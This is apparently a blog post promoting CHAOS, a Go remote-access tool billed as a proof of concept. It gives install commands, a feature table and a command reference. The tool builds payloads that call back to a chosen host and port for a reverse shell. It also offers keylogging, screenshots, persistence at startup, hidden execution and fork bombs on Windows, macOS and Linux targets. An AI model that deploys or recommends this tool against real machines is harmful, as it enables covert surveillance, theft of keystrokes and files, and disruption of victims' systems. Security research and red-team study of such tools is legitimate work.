CHAOS : PoC that Allow Generate Payloads & Control Remote OS

CHAOS is a PoC that allow generate payloads and control remote operating systems.

Features

FeatureWindowsMacLinux
Reverse ShellXXX
Download FileXXX
Upload FileXXX
ScreenshotXXX
KeyloggerX
PersistenceX
Open URLXXX
Get OS InfoXXX
Fork BombXXX
Run HiddenX

Also Read – Osmedeus : Fully Automated Offensive Security Tool for Reconnaissance & Vulnerability Scanning

How to Install

Install dependencies
$ sudo apt install golang git -y

Get this repository
$ go get github.com/tiagorlampert/CHAOS

Get external golang dependencies (ARE REQUIRED GET ALL DEPENDENCIES)
$ go get github.com/kbinani/screenshot
$ go get github.com/lxn/win
$ go get github.com/matishsiao/goInfo
$ go get golang.org/x/sys/windows

Maybe you will see the message “package github.com/lxn/win: build constraints exclude all Go files”.

It’s occurs because the libraries are to windows systems, but it necessary to build the payload.

Go into the repository
$ cd ~/go/src/github.com/tiagorlampert/CHAOS

Run
$ go run main.go

How to Use?

CommandOn HOST does…
generateGenerate a payload (e.g. generate lhost=192.168.0.100 lport=8080 fname=chaos --windows)
lhost=Specify a ip for connection
lport=Specify a port for connection
fname=Specify a filename to output
--windowsTarget Windows
--macosTarget Mac OS
--linuxTarget Linux
listenListen for a new connection (e.g. listen lport=8080)
serveServe files
exitQuit this program
CommandOn TARGET does…
downloadFile Download
uploadFile Upload
screenshotTake a Screenshot
keylogger_startStart Keylogger session
keylogger_showShow Keylogger session logs
persistence_enableInstall at Startup
persistence_disableRemove from Startup
getosGet OS name
lockscreenLock the OS screen
openurlOpen the URL informed
bombRun Fork Bomb
clearClear the Screen
backClose connection but keep running on target
exitClose connection and exit on target

Demo Video

Disclaimer

THIS SOFTWARE IS PROVIDED “AS IS” WITHOUT WARRANTY OF ANY KIND. YOU MAY USE THIS SOFTWARE AT YOUR OWN RISK. THE USE IS COMPLETE RESPONSIBILITY OF THE END-USER. THE DEVELOPERS ASSUME NO LIABILITY AND ARE NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS PROGRAM.

R K

Recent Posts

git fetch vs git pull: How They Work and When to Use Each

Both git fetch and git pull talk to a remote repository, but they do very different things to your…

5 days ago

git cherry-pick Command: Apply Commits from Another Branch

Sometimes the change you need already exists, just on the wrong branch. A hotfix lands…

5 days ago

Best Email APIs for Secure Business Email: Why Developers Are Moving Beyond SMTP

Email is still one of the most important communication channels inside modern applications. Password resets,…

6 days ago

Nginx Commands in Linux: Start, Stop, Reload, Test, and Log

Nginx is a high-performance web server and reverse proxy trusted by some of the largest…

1 week ago

ufw Command in Linux: Manage Firewall Rules with Examples

ufw (Uncomplicated Firewall) sits on top of iptables (or nftables on newer systems) and replaces…

1 week ago

who Command in Linux: Show All Logged-In Users and Sessions

When you share a server with a team or investigate unexpected activity, the first question…

1 week ago